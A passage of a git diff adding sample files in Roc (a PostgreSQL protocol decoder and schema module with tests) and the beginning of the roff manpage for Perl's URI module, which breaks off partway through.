+    schemaName : Result Str {},
+    tableName : Result Str {},
+    columnName : Result Str {},
+    dataTypeName : Result Str {},
+    constraintName : Result Str {},
+    file : Result Str {},
+    line : Result Str {},
+    routine : Result Str {},
+}
+
+errorResponse : Decode Message _
+errorResponse =
+    dict <- await knownStrFields
+
+    localizedSeverity <- 'S' |> requiredField dict
+    severity <- 'V' |> optionalFieldWith dict decodeSeverity
+    code <- 'C' |> requiredField dict
+    msg <- 'M' |> requiredField dict
+    position <- 'P' |> optionalFieldWith dict Str.toU32
+    internalPosition <- 'p' |> optionalFieldWith dict Str.toU32
+
+    ErrorResponse {
+        localizedSeverity,
+        severity,
+        code,
+        message: msg,
+        detail: 'D' |> optionalField dict,
+        hint: 'H' |> optionalField dict,
+        position,
+        internalPosition,
+        internalQuery: 'q' |> optionalField dict,
+        ewhere: 'W' |> optionalField dict,
+        schemaName: 's' |> optionalField dict,
+        tableName: 't' |> optionalField dict,
+        columnName: 'c' |> optionalField dict,
+        dataTypeName: 'd' |> optionalField dict,
+        constraintName: 'n' |> optionalField dict,
+        file: 'F' |> optionalField dict,
+        line: 'L' |> optionalField dict,
+        routine: 'R' |> optionalField dict,
+    }
+    |> succeed
+
+optionalField = \fieldId, dict ->
+    when Dict.get dict fieldId is
+        Ok value ->
+            Ok value
+
+        Err _ ->
+            Err {}
+
+optionalFieldWith = \fieldId, dict, validate, callback ->
+    result = Dict.get dict fieldId
+
+    when result is
+        Ok value ->
+            when validate value is
+                Ok validated ->
+                    callback (Ok validated)
+
+                Err err ->
+                    fail err
+
+        Err _ ->
+            callback (Err {})
+
+requiredField = \fieldId, dict, callback ->
+    result = Dict.get dict fieldId
+
+    when result is
+        Ok value ->
+            callback value
+
+        Err _ ->
+            fail (MissingField fieldId)
+
+ErrorSeverity : [
+    Error,
+    Fatal,
+    Panic,
+    Warning,
+    Notice,
+    Debug,
+    Info,
+    Log,
+]
+
+decodeSeverity = \str ->
+    when str is
+        "ERROR" ->
+            Ok Error
+
+        "FATAL" ->
+            Ok Fatal
+
+        "PANIC" ->
+            Ok Panic
+
+        "WARNING" ->
+            Ok Warning
+
+        "NOTICE" ->
+            Ok Notice
+
+        "DEBUG" ->
+            Ok Debug
+
+        "INFO" ->
+            Ok Info
+
+        "LOG" ->
+            Ok Log
+
+        _ ->
+            Err (InvalidSeverity str)
+
+knownStrFields : Decode (Dict U8 Str) _
+knownStrFields =
+    collected <- loop (Dict.empty {})
+
+    fieldId <- await u8
+
+    if fieldId == 0 then
+        succeed (Done collected)
+    else
+        value <- map cStr
+
+        collected
+        |> Dict.insert fieldId value
+        |> Loop
+
+RowField : {
+    name : Str,
+    column : Result { tableOid : I32, attributeNumber : I16 } [NotAColumn],
+    dataTypeOid : I32,
+    dataTypeSize : I16,
+    typeModifier : I32,
+    formatCode : I16,
+}
+
+rowDescription : Decode Message _
+rowDescription =
+    fieldCount <- await i16
+
+    fixedList fieldCount rowField
+    |> map RowDescription
+
+rowField : Decode RowField _
+rowField =
+    name <- await cStr
+    tableOid <- await i32
+    attributeNumber <- await i16
+    dataTypeOid <- await i32
+    dataTypeSize <- await i16
+    typeModifier <- await i32
+    formatCode <- map i16
+
+    column =
+        if tableOid != 0 && attributeNumber != 0 then
+            Ok { tableOid, attributeNumber }
+        else
+            Err NotAColumn
+
+    {
+        name,
+        column,
+        dataTypeOid,
+        dataTypeSize,
+        typeModifier,
+        formatCode,
+    }
+
+dataRow : Decode Message _
+dataRow =
+    columnCount <- await i16
+
+    fixedList
+        columnCount
+        (
+            valueLen <- await i32
+
+            if valueLen == -1 then
+                succeed []
+            else
+                take (Num.toNat valueLen) \x -> x
+        )
+    |> map DataRow
+
+fixedList = \count, itemDecode ->
+    collected <- loop (List.withCapacity (Num.toNat count))
+
+    item <- map itemDecode
+
+    added = List.append collected item
+
+    if List.len added == Num.toNat count then
+        Done added
+    else
+        Loop added
+
+commandComplete : Decode Message _
+commandComplete =
+    map cStr CommandComplete
diff --git a/samples/Roc/PgSchema.roc b/samples/Roc/PgSchema.roc
new file mode 100644
index 0000000000..c1d4dd6ded
--- /dev/null
+++ b/samples/Roc/PgSchema.roc
@@ -0,0 +1,223 @@
+# From https://github.com/agu-z/roc-pg/blob/main/sql-cli/src/Schema.roc
+# License is UPL
+interface Schema
+    exposes [
+        Schema,
+        ColumnId,
+        Table,
+        Column,
+        new,
+        getName,
+        getTables,
+        primaryColumn,
+    ]
+    imports []
+
+Nullable a : [Null, NotNull a]
+
+Schema := {
+    name : Str,
+    tables : List Table,
+    references : Dict ColumnId ColumnId,
+    primaryColumns : Dict ColumnId { tableName : Str, columnName : Str },
+}
+
+ColumnId : (I32, I16)
+
+Table : {
+    id : I32,
+    name : Str,
+    columns : List Column,
+    constraints : List Constraint,
+}
+
+Column : {
+    num : I16,
+    name : Str,
+    dataType : Str,
+    typeCategory : Str,
+    elemDataType : Nullable Str,
+    isNullable : Bool,
+}
+
+Constraint : {
+    type : Str,
+    columns : List I16,
+    foreignTable : I32, # pg sets this to 0 if not foreign key
+    foreignColumns : List I16,
+}
+
+new : Str, List Table -> Schema
+new = \schemaName, tables ->
+    tablesLen : Nat
+    tablesLen = List.len tables
+
+    keys : {
+        primaryColumns : Dict ColumnId { tableName : Str, columnName : Str },
+        references : Dict ColumnId ColumnId,
+    }
+    keys =
+        stateTable, table <- List.walk tables {
+                primaryColumns: Dict.withCapacity tablesLen,
+                references: Dict.withCapacity (tablesLen * 4),
+            }
+        state, constraint <- List.walk table.constraints stateTable
+
+        when constraint.type is
+            "p" ->
+                newPrimaryColumns =
+                    constraint.columns
+                    |> List.map \colNum ->
+
+                        names =
+                            when List.findFirst table.columns \col -> col.num == colNum is
+                                Ok { name } ->
+                                    {
+                                        tableName: table.name,
+                                        columnName: name,
+                                    }
+
+                                Err NotFound ->
+                                    {
+                                        tableName: "\(Num.toStr table.id)",
+                                        columnName: "\(Num.toStr colNum)",
+                                    }
+
+                        ((table.id, colNum), names)
+                    |> Dict.fromList
+
+                { state & primaryColumns: Dict.insertAll state.primaryColumns newPrimaryColumns }
+
+            "f" ->
+                newReferences =
+                    constraint.columns
+                    |> List.map2 constraint.foreignColumns \colNum, foreignColumn ->
+                        ((table.id, colNum), (constraint.foreignTable, foreignColumn))
+                    |> Dict.fromList
+
+                { state & references: Dict.insertAll state.references newReferences }
+
+            _ ->
+                state
+
+    @Schema {
+        name: schemaName,
+        tables,
+        primaryColumns: keys.primaryColumns,
+        references: keys.references,
+    }
+
+getTables : Schema -> List Table
+getTables = \@Schema schema -> schema.tables
+
+getName : Schema -> Str
+getName = \@Schema schema -> schema.name
+
+## Recursively find the final column referenced by another column.
+##
+## Returns itself if it's part of a primary key and no foreign key.
+primaryColumn : Schema,
+    ColumnId
+    -> Result
+        {
+            id : ColumnId,
+            tableName : Str,
+            columnName : Str,
+        }
+        [KeyNotFound]
+primaryColumn = \@Schema schema, column ->
+    when Dict.get schema.references column is
+        Ok refColumn ->
+            primaryColumn (@Schema schema) refColumn
+
+        Err KeyNotFound ->
+            Dict.get schema.primaryColumns column
+            |> Result.map \names -> {
+                id: column,
+                tableName: names.tableName,
+                columnName: names.columnName,
+            }
+
+expect primaryColumn testSchema (1, 1) == Ok { id: (1, 1), tableName: "users", columnName: "id" }
+expect primaryColumn testSchema (1, 2) == Err KeyNotFound
+expect primaryColumn testSchema (2, 1) == Ok { id: (2, 1), tableName: "posts", columnName: "id" }
+expect primaryColumn testSchema (2, 2) == Ok { id: (1, 1), tableName: "users", columnName: "id" }
+expect primaryColumn testSchema (2, 3) == Err KeyNotFound
+
+testSchema =
+    new "public" [
+        {
+            id: 1,
+            name: "users",
+            columns: [
+                {
+                    num: 1,
+                    name: "id",
+                    dataType: "int4",
+                    typeCategory: "N",
+                    elemDataType: Null,
+                    isNullable: Bool.false,
+                },
+                {
+                    num: 2,
+                    name: "name",
+                    dataType: "text",
+                    typeCategory: "S",
+                    elemDataType: Null,
+                    isNullable: Bool.false,
+                },
+            ],
+            constraints: [
+                {
+                    type: "p",
+                    columns: [1],
+                    foreignTable: 0,
+                    foreignColumns: [],
+                },
+            ],
+        },
+        {
+            id: 2,
+            name: "posts",
+            columns: [
+                {
+                    num: 1,
+                    name: "id",
+                    dataType: "int4",
+                    typeCategory: "N",
+                    elemDataType: Null,
+                    isNullable: Bool.false,
+                },
+                {
+                    num: 2,
+                    name: "user_id",
+                    dataType: "int4",
+                    typeCategory: "N",
+                    elemDataType: Null,
+                    isNullable: Bool.false,
+                },
+                {
+                    num: 3,
+                    name: "title",
+                    dataType: "text",
+                    typeCategory: "S",
+                    elemDataType: Null,
+                    isNullable: Bool.false,
+                },
+            ],
+            constraints: [
+                {
+                    type: "p",
+                    columns: [1],
+                    foreignTable: 0,
+                    foreignColumns: [],
+                },
+                {
+                    type: "f",
+                    columns: [2],
+                    foreignTable: 1,
+                    foreignColumns: [1],
+                },
+            ],
+        },
+    ]
diff --git a/samples/Roff Manpage/URI.3pm b/samples/Roff Manpage/URI.3pm
new file mode 100644
index 0000000000..a395447919
--- /dev/null
+++ b/samples/Roff Manpage/URI.3pm	
@@ -0,0 +1,886 @@
+.\" Automatically generated by Pod::Man 4.10 (Pod::Simple 3.35)
+.\"
+.\" Standard preamble:
+.\" ========================================================================
+.de Sp \" Vertical space (when we can't use .PP)
+.if t .sp .5v
+.if n .sp
+..
+.de Vb \" Begin verbatim text
+.ft CW
+.nf
+.ne \\$1
+..
+.de Ve \" End verbatim text
+.ft R
+.fi
+..
+.\" Set up some character translations and predefined strings.  \*(-- will
+.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
+.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
+.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
+.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
+.\" nothing in troff, for use with C<>.
+.tr \(*W-
+.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
+.ie n \{\
+.    ds -- \(*W-
+.    ds PI pi
+.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
+.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
+.    ds L" ""
+.    ds R" ""
+.    ds C` ""
+.    ds C' ""
+'br\}
+.el\{\
+.    ds -- \|\(em\|
+.    ds PI \(*p
+.    ds L" ``
+.    ds R" ''
+.    ds C`
+.    ds C'
+'br\}
+.\"
+.\" Escape single quotes in literal strings from groff's Unicode transform.
+.ie \n(.g .ds Aq \(aq
+.el       .ds Aq '
+.\"
+.\" If the F register is >0, we'll generate index entries on stderr for
+.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
+.\" entries marked with X<> in POD.  Of course, you'll have to process the
+.\" output yourself in some meaningful fashion.
+.\"
+.\" Avoid warning from groff about undefined register 'F'.
+.de IX
+..
+.nr rF 0
+.if \n(.g .if rF .nr rF 1
+.if (\n(rF:(\n(.g==0)) \{\
+.    if \nF \{\
+.        de IX
+.        tm Index:\\$1\t\\n%\t"\\$2"
+..
+.        if !\nF==2 \{\
+.            nr % 0
+.            nr F 2
+.        \}
+.    \}
+.\}
+.rr rF
+.\" ========================================================================
+.\"
+.IX Title "URI 3"
+.TH URI 3 "2019-01-09" "perl v5.28.1" "User Contributed Perl Documentation"
+.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
+.\" way too many mistakes in technical documents.
+.if n .ad l
+.nh
+.SH "NAME"
+URI \- Uniform Resource Identifiers (absolute and relative)
+.SH "SYNOPSIS"
+.IX Header "SYNOPSIS"
+.Vb 1
+\& use URI;
+\&
+\& $u1 = URI\->new("http://www.perl.com");
+\& $u2 = URI\->new("foo", "http");
+\& $u3 = $u2\->abs($u1);
+\& $u4 = $u3\->clone;
+\& $u5 = URI\->new("HTTP://WWW.perl.com:80")\->canonical;
+\&
+\& $str = $u\->as_string;
+\& $str = "$u";
+\&
+\& $scheme = $u\->scheme;
+\& $opaque = $u\->opaque;
+\& $path   = $u\->path;
+\& $frag   = $u\->fragment;
+\&
+\& $u\->scheme("ftp");
+\& $u\->host("ftp.perl.com");
+\& $u\->path("cpan/");
+.Ve
+.SH "DESCRIPTION"
+.IX Header "DESCRIPTION"
+This module implements the \f(CW\*(C`URI\*(C'\fR class.  Objects of this class
+represent \*(L"Uniform Resource Identifier references\*(R" as specified in \s-1RFC
+2396\s0 (and updated by \s-1RFC 2732\s0).
+.PP
+A Uniform Resource Identifier is a compact string of characters that
+identifies an abstract or physical resource.  A Uniform Resource
+Identifier can be further classified as either a Uniform Resource Locator
+(\s-1URL\s0) or a Uniform Resource Name (\s-1URN\s0).  The distinction between \s-1URL\s0
+and \s-1URN\s0 does not matter to the \f(CW\*(C`URI\*(C'\fR class interface. A
+\&\*(L"URI-reference\*(R" is a \s-1URI\s0 that may have additional information attached
+in the form of a fragment identifier.
+.PP
+An absolute \s-1URI\s0 reference consists of three parts:  a \fIscheme\fR, a
+\&\fIscheme-specific part\fR and a \fIfragment\fR identifier.  A subset of \s-1URI\s0
+references share a common syntax for hierarchical namespaces.  For
+these, the scheme-specific part is further broken down into
+\&\fIauthority\fR, \fIpath\fR and \fIquery\fR components.  These URIs can also
+take the form of relative \s-1URI\s0 references, where the scheme (and
+usually also the authority) component is missing, but implied by the
+context of the \s-1URI\s0 reference.  The three forms of \s-1URI\s0 reference
+syntax are summarized as follows:
+.PP
+.Vb 3
+\&  <scheme>:<scheme\-specific\-part>#<fragment>
+\&  <scheme>://<authority><path>?<query>#<fragment>
+\&  <path>?<query>#<fragment>
+.Ve
+.PP
+The components into which a \s-1URI\s0 reference can be divided depend on the
+\&\fIscheme\fR.  The \f(CW\*(C`URI\*(C'\fR class provides methods to get and set the
+individual components.  The methods available for a specific
+\&\f(CW\*(C`URI\*(C'\fR object depend on the scheme.
+.SH "CONSTRUCTORS"
+.IX Header "CONSTRUCTORS"
+The following methods construct new \f(CW\*(C`URI\*(C'\fR objects:
+.ie n .IP "$uri = \s-1URI\-\s0>new( $str )" 4
+.el .IP "\f(CW$uri\fR = \s-1URI\-\s0>new( \f(CW$str\fR )" 4
+.IX Item "$uri = URI->new( $str )"
+.PD 0
+.ie n .IP "$uri = \s-1URI\-\s0>new( $str, $scheme )" 4
+.el .IP "\f(CW$uri\fR = \s-1URI\-\s0>new( \f(CW$str\fR, \f(CW$scheme\fR )" 4
+.IX Item "$uri = URI->new( $str, $scheme )"
+.PD
+Constructs a new \s-1URI\s0 object.  The string
+representation of a \s-1URI\s0 is given as argument, together with an optional
+scheme specification.  Common \s-1URI\s0 wrappers like "" and <>, as well as
+leading and trailing white space, are automatically removed from
+the \f(CW$str\fR argument before it is processed further.
+.Sp
+The constructor determines the scheme, maps this to an appropriate
+\&\s-1URI\s0 subclass, constructs a new object of that class and returns it.
+.Sp
+If the scheme isn't one of those that \s-1URI\s0 recognizes, you still get
+an \s-1URI\s0 object back that you can access the generic methods on.  The
+\&\f(CW\*(C`$uri\->has_recognized_scheme\*(C'\fR method can be used to test for
+this.
+.Sp
+The \f(CW$scheme\fR argument is only used when \f(CW$str\fR is a
+relative \s-1URI.\s0  It can be either a simple string that
+denotes the scheme, a string containing an absolute \s-1URI\s0 reference, or
+an absolute \f(CW\*(C`URI\*(C'\fR object.  If no \f(CW$scheme\fR is specified for a relative
+\&\s-1URI\s0 \f(CW$str\fR, then \f(CW$str\fR is simply treated as a generic \s-1URI\s0 (no scheme-specific
+methods available).
+.Sp
+The set of characters available for building \s-1URI\s0 references is
+restricted (see URI::Escape).  Characters outside this set are
+automatically escaped by the \s-1URI\s0 constructor.
+.ie n .IP "$uri = \s-1URI\-\s0>new_abs( $str, $base_uri )" 4
+.el .IP "\f(CW$uri\fR = \s-1URI\-\s0>new_abs( \f(CW$str\fR, \f(CW$base_uri\fR )" 4
+.IX Item "$uri = URI->new_abs( $str, $base_uri )"
+Constructs a new absolute \s-1URI\s0 object.  The \f(CW$str\fR argument can
+denote a relative or absolute \s-1URI.\s0  If relative, then it is
+absolutized using \f(CW$base_uri\fR as base. The \f(CW$base_uri\fR must be an absolute
+\&\s-1URI.\s0
+.ie n .IP "$uri = URI::file\->new( $filename )" 4
+.el .IP "\f(CW$uri\fR = URI::file\->new( \f(CW$filename\fR )" 4
+.IX Item "$uri = URI::file->new( $filename )"
+.PD 0
+.ie n .IP "$uri = URI::file\->new( $filename, $os )" 4
+.el .IP "\f(CW$uri\fR = URI::file\->new( \f(CW$filename\fR, \f(CW$os\fR )" 4
+.IX Item "$uri = URI::file->new( $filename, $os )"
+.PD
+Constructs a new \fIfile\fR \s-1URI\s0 from a file name.  See URI::file.
+.ie n .IP "$uri = URI::file\->new_abs( $filename )" 4
+.el .IP "\f(CW$uri\fR = URI::file\->new_abs( \f(CW$filename\fR )" 4
+.IX Item "$uri = URI::file->new_abs( $filename )"
+.PD 0
+.ie n .IP "$uri = URI::file\->new_abs( $filename, $os )" 4
+.el .IP "\f(CW$uri\fR = URI::file\->new_abs( \f(CW$filename\fR, \f(CW$os\fR )" 4
+.IX Item "$uri = URI::file->new_abs( $filename, $os )"
+.PD
+Constructs a new absolute \fIfile\fR \s-1URI\s0 from a file name.  See
+URI::file.
+.ie n .IP "$uri = URI::file\->cwd" 4
+.el .IP "\f(CW$uri\fR = URI::file\->cwd" 4
+.IX Item "$uri = URI::file->cwd"
+Returns the current working directory as a \fIfile\fR \s-1URI.\s0  See
+URI::file.
+.ie n .IP "$uri\->clone" 4
+.el .IP "\f(CW$uri\fR\->clone" 4
+.IX Item "$uri->clone"
+Returns a copy of the \f(CW$uri\fR.
+.SH "COMMON METHODS"
+.IX Header "COMMON METHODS"
+The methods described in this section are available for all \f(CW\*(C`URI\*(C'\fR
+objects.
+.PP
+Methods that give access to components of a \s-1URI\s0 always return the
+old value of the component.  The value returned is \f(CW\*(C`undef\*(C'\fR if the
+component was not present.  There is generally a difference between a
+component that is empty (represented as \f(CW""\fR) and a component that is
+missing (represented as \f(CW\*(C`undef\*(C'\fR).  If an accessor method is given an
+argument, it updates the corresponding component in addition to
+returning the old value of the component.  Passing an undefined
+argument removes the component (if possible).  The description of
+each accessor method indicates whether the component is passed as
+an escaped (percent-encoded) or an unescaped string.  A component that can be further
+divided into sub-parts are usually passed escaped, as unescaping might
+change its semantics.
+.PP
+The common methods available for all \s-1URI\s0 are:
+.ie n .IP "$uri\->scheme" 4
+.el .IP "\f(CW$uri\fR\->scheme" 4
+.IX Item "$uri->scheme"
+.PD 0
+.ie n .IP "$uri\->scheme( $new_scheme )" 4
+.el .IP "\f(CW$uri\fR\->scheme( \f(CW$new_scheme\fR )" 4
+.IX Item "$uri->scheme( $new_scheme )"
+.PD
+Sets and returns the scheme part of the \f(CW$uri\fR.  If the \f(CW$uri\fR is
+relative, then \f(CW$uri\fR\->scheme returns \f(CW\*(C`undef\*(C'\fR.  If called with an
+argument, it updates the scheme of \f(CW$uri\fR, possibly changing the
+class of \f(CW$uri\fR, and returns the old scheme value.  The method croaks
+if the new scheme name is illegal; a scheme name must begin with a
+letter and must consist of only US-ASCII letters, numbers, and a few
+special marks: \*(L".\*(R", \*(L"+\*(R", \*(L"\-\*(R".  This restriction effectively means
+that the scheme must be passed unescaped.  Passing an undefined
+argument to the scheme method makes the \s-1URI\s0 relative (if possible).
+.Sp
+Letter case does not matter for scheme names.  The string
+returned by \f(CW$uri\fR\->scheme is always lowercase.  If you want the scheme
+just as it was written in the \s-1URI\s0 in its original case,
+you can use the \f(CW$uri\fR\->_scheme method instead.
+.ie n .IP "$uri\->has_recognized_scheme" 4
+.el .IP "\f(CW$uri\fR\->has_recognized_scheme" 4
+.IX Item "$uri->has_recognized_scheme"
+Returns \s-1TRUE\s0 if the \s-1URI\s0 scheme is one that \s-1URI\s0 recognizes.
+.Sp
+It will also be \s-1TRUE\s0 for relative URLs where a recognized
+scheme was provided to the constructor, even if \f(CW\*(C`$uri\->scheme\*(C'\fR
+returns \f(CW\*(C`undef\*(C'\fR for these.
+.ie n .IP "$uri\->opaque" 4
+.el .IP "\f(CW$uri\fR\->opaque" 4
+.IX Item "$uri->opaque"
+.PD 0
+.ie n .IP "$uri\->opaque( $new_opaque )" 4
+.el .IP "\f(CW$uri\fR\->opaque( \f(CW$new_opaque\fR )" 4
+.IX Item "$uri->opaque( $new_opaque )"
+.PD
+Sets and returns the scheme-specific part of the \f(CW$uri\fR
+(everything between the scheme and the fragment)
+as an escaped string.
+.ie n .IP "$uri\->path" 4
+.el .IP "\f(CW$uri\fR\->path" 4
+.IX Item "$uri->path"
+.PD 0
+.ie n .IP "$uri\->path( $new_path )" 4
+.el .IP "\f(CW$uri\fR\->path( \f(CW$new_path\fR )" 4
+.IX Item "$uri->path( $new_path )"
+.PD
+Sets and returns the same value as \f(CW$uri\fR\->opaque unless the \s-1URI\s0
+supports the generic syntax for hierarchical namespaces.
+In that case the generic method is overridden to set and return
+the part of the \s-1URI\s0 between the \fIhost name\fR and the \fIfragment\fR.
+.ie n .IP "$uri\->fragment" 4
+.el .IP "\f(CW$uri\fR\->fragment" 4
+.IX Item "$uri->fragment"
+.PD 0
+.ie n .IP "$uri\->fragment( $new_frag )" 4
+.el .IP "\f(CW$uri\fR\->fragment( \f(CW$new_frag\fR )" 4
+.IX Item "$uri->fragment( $new_frag )"
+.PD
+Returns the fragment identifier of a \s-1URI\s0 reference
+as an escaped string.
+.ie n .IP "$uri\->as_string" 4
+.el .IP "\f(CW$uri\fR\->as_string" 4
+.IX Item "$uri->as_string"
+Returns a \s-1URI\s0 object to a plain \s-1ASCII\s0 string.  \s-1URI\s0 objects are
+also converted to plain strings automatically by overloading.  This
+means that \f(CW$uri\fR objects can be used as plain strings in most Perl
+constructs.
+.ie n .IP "$uri\->as_iri" 4
+.el .IP "\f(CW$uri\fR\->as_iri" 4
+.IX Item "$uri->as_iri"
+Returns a Unicode string representing the \s-1URI.\s0  Escaped \s-1UTF\-8\s0 sequences
+representing non-ASCII characters are turned into their corresponding Unicode
+code point.
+.ie n .IP "$uri\->canonical" 4
+.el .IP "\f(CW$uri\fR\->canonical" 4
+.IX Item "$uri->canonical"
+Returns a normalized version of the \s-1URI.\s0  The rules
+for normalization are scheme-dependent.  They usually involve
+lowercasing the scheme and Internet host name components,
+removing the explicit port specification if it matches the default port,
+uppercasing all escape sequences, and unescaping octets that can be
+better represented as plain characters.
+.Sp
+For efficiency reasons, if the \f(CW$uri\fR is already in normalized form,
+then a reference to it is returned instead of a copy.
+.ie n .IP "$uri\->eq( $other_uri )" 4
+.el .IP "\f(CW$uri\fR\->eq( \f(CW$other_uri\fR )" 4
+.IX Item "$uri->eq( $other_uri )"
+.PD 0
+.ie n .IP "URI::eq( $first_uri, $other_uri )" 4
+.el .IP "URI::eq( \f(CW$first_uri\fR, \f(CW$other_uri\fR )" 4
+.IX Item "URI::eq( $first_uri, $other_uri )"
+.PD
+Tests whether two \s-1URI\s0 references are equal.  \s-1URI\s0 references
+that normalize to the same string are considered equal.  The method
+can also be used as a plain function which can also test two string
+arguments.
+.Sp
+If you need to test whether two \f(CW\*(C`URI\*(C'\fR object references denote the
+same object, use the '==' operator.
+.ie n .IP "$uri\->abs( $base_uri )" 4
+.el .IP "\f(CW$uri\fR\->abs( \f(CW$base_uri\fR )" 4
+.IX Item "$uri->abs( $base_uri )"
+Returns an absolute \s-1URI\s0 reference.  If \f(CW$uri\fR is already
+absolute, then a reference to it is simply returned.  If the \f(CW$uri\fR
+is relative, then a new absolute \s-1URI\s0 is constructed by combining the
+\&\f(CW$uri\fR and the \f(CW$base_uri\fR, and returned.
+.ie n .IP "$uri\->rel( $base_uri )" 4
+.el .IP "\f(CW$uri\fR\->rel( \f(CW$base_uri\fR )" 4
+.IX Item "$uri->rel( $base_uri )"
+Returns a relative \s-1URI\s0 reference if it is possible to
+make one that denotes the same resource relative to \f(CW$base_uri\fR.
+If not, then \f(CW$uri\fR is simply returned.
+.ie n .IP "$uri\->secure" 4
+.el .IP "\f(CW$uri\fR\->secure" 4
+.IX Item "$uri->secure"
+Returns a \s-1TRUE\s0 value if the \s-1URI\s0 is considered to point to a resource on
+a secure channel, such as an \s-1SSL\s0 or \s-1TLS\s0 encrypted one.
+.SH "GENERIC METHODS"
+.IX Header "GENERIC METHODS"
+The following methods are available to schemes that use the
+common/generic syntax for hierarchical namespaces.  The descriptions of
+schemes below indicate which these are.  Unrecognized schemes are
+assumed to support the generic syntax, and therefore the following
+methods:
+.ie n .IP "$uri\->authority" 4
+.el .IP "\f(CW$uri\fR\->authority" 4
+.IX Item "$uri->authority"
+.PD 0
+.ie n .IP "$uri\->authority( $new_authority )" 4
+.el .IP "\f(CW$uri\fR\->authority( \f(CW$new_authority\fR )" 4
+.IX Item "$uri->authority( $new_authority )"
+.PD
+Sets and returns the escaped authority component
+of the \f(CW$uri\fR.
+.ie n .IP "$uri\->path" 4
+.el .IP "\f(CW$uri\fR\->path" 4
+.IX Item "$uri->path"
+.PD 0
+.ie n .IP "$uri\->path( $new_path )" 4
+.el .IP "\f(CW$uri\fR\->path( \f(CW$new_path\fR )" 4
+.IX Item "$uri->path( $new_path )"
+.PD
+Sets and returns the escaped path component of
+the \f(CW$uri\fR (the part between the host name and the query or fragment).
+The path can never be undefined, but it can be the empty string.
+.ie n .IP "$uri\->path_query" 4
+.el .IP "\f(CW$uri\fR\->path_query" 4
+.IX Item "$uri->path_query"
+.PD 0
+.ie n .IP "$uri\->path_query( $new_path_query )" 4
+.el .IP "\f(CW$uri\fR\->path_query( \f(CW$new_path_query\fR )" 4
+.IX Item "$uri->path_query( $new_path_query )"
+.PD
+Sets and returns the escaped path and query
+components as a single entity.  The path and the query are
+separated by a \*(L"?\*(R" character, but the query can itself contain \*(L"?\*(R".
+.ie n .IP "$uri\->path_segments" 4
+.el .IP "\f(CW$uri\fR\->path_segments" 4
+.IX Item "$uri->path_segments"
+.PD 0
+.ie n .IP "$uri\->path_segments( $segment, ... )" 4
+.el .IP "\f(CW$uri\fR\->path_segments( \f(CW$segment\fR, ... )" 4
+.IX Item "$uri->path_segments( $segment, ... )"
+.PD
+Sets and returns the path.  In a scalar context, it returns
+the same value as \f(CW$uri\fR\->path.  In a list context, it returns the
+unescaped path segments that make up the path.  Path segments that
+have parameters are returned as an anonymous array.  The first element
+is the unescaped path segment proper;  subsequent elements are escaped
+parameter strings.  Such an anonymous array uses overloading so it can
+be treated as a string too, but this string does not include the
+parameters.
+.Sp
+Note that absolute paths have the empty string as their first
+\&\fIpath_segment\fR, i.e. the \fIpath\fR \f(CW\*(C`/foo/bar\*(C'\fR have 3
+\&\fIpath_segments\fR; "\*(L", \*(R"foo\*(L" and \*(R"bar".
+.ie n .IP "$uri\->query" 4
+.el .IP "\f(CW$uri\fR\->query" 4
+.IX Item "$uri->query"
+.PD 0
+.ie n .IP "$uri\->query( $new_query )" 4
+.el .IP "\f(CW$uri\fR\->query( \f(CW$new_query\fR )" 4
+.IX Item "$uri->query( $new_query )"
+.PD
+Sets and returns the escaped query component of
+the \f(CW$uri\fR.
+.ie n .IP "$uri\->query_form" 4
+.el .IP "\f(CW$uri\fR\->query_form" 4
+.IX Item "$uri->query_form"
+.PD 0
+.ie n .IP "$uri\->query_form( $key1 => $val1, $key2 => $val2, ... )" 4
+.el .IP "\f(CW$uri\fR\->query_form( \f(CW$key1\fR => \f(CW$val1\fR, \f(CW$key2\fR => \f(CW$val2\fR, ... )" 4
+.IX Item "$uri->query_form( $key1 => $val1, $key2 => $val2, ... )"
+.ie n .IP "$uri\->query_form( $key1 => $val1, $key2 => $val2, ..., $delim )" 4
+.el .IP "\f(CW$uri\fR\->query_form( \f(CW$key1\fR => \f(CW$val1\fR, \f(CW$key2\fR => \f(CW$val2\fR, ..., \f(CW$delim\fR )" 4
+.IX Item "$uri->query_form( $key1 => $val1, $key2 => $val2, ..., $delim )"
+.ie n .IP "$uri\->query_form( \e@key_value_pairs )" 4
+.el .IP "\f(CW$uri\fR\->query_form( \e@key_value_pairs )" 4
+.IX Item "$uri->query_form( @key_value_pairs )"
+.ie n .IP "$uri\->query_form( \e@key_value_pairs, $delim )" 4
+.el .IP "\f(CW$uri\fR\->query_form( \e@key_value_pairs, \f(CW$delim\fR )" 4
+.IX Item "$uri->query_form( @key_value_pairs, $delim )"
+.ie n .IP "$uri\->query_form( \e%hash )" 4
+.el .IP "\f(CW$uri\fR\->query_form( \e%hash )" 4
+.IX Item "$uri->query_form( %hash )"
+.ie n .IP "$uri\->query_form( \e%hash, $delim )" 4
+.el .IP "\f(CW$uri\fR\->query_form( \e%hash, \f(CW$delim\fR )" 4
+.IX Item "$uri->query_form( %hash, $delim )"
+.PD
+Sets and returns query components that use the
+\&\fIapplication/x\-www\-form\-urlencoded\fR format.  Key/value pairs are
+separated by \*(L"&\*(R", and the key is separated from the value by a \*(L"=\*(R"
+character.
+.Sp
+The form can be set either by passing separate key/value pairs, or via
+an array or hash reference.  Passing an empty array or an empty hash
+removes the query component, whereas passing no arguments at all leaves
+the component unchanged.  The order of keys is undefined if a hash
+reference is passed.  The old value is always returned as a list of
+separate key/value pairs.  Assigning this list to a hash is unwise as
+the keys returned might repeat.
+.Sp
+The values passed when setting the form can be plain strings or
+references to arrays of strings.  Passing an array of values has the
+same effect as passing the key repeatedly with one value at a time.
+All the following statements have the same effect:
+.Sp
+.Vb 5
+\&    $uri\->query_form(foo => 1, foo => 2);
+\&    $uri\->query_form(foo => [1, 2]);
+\&    $uri\->query_form([ foo => 1, foo => 2 ]);
+\&    $uri\->query_form([ foo => [1, 2] ]);
+\&    $uri\->query_form({ foo => [1, 2] });
+.Ve
+.Sp
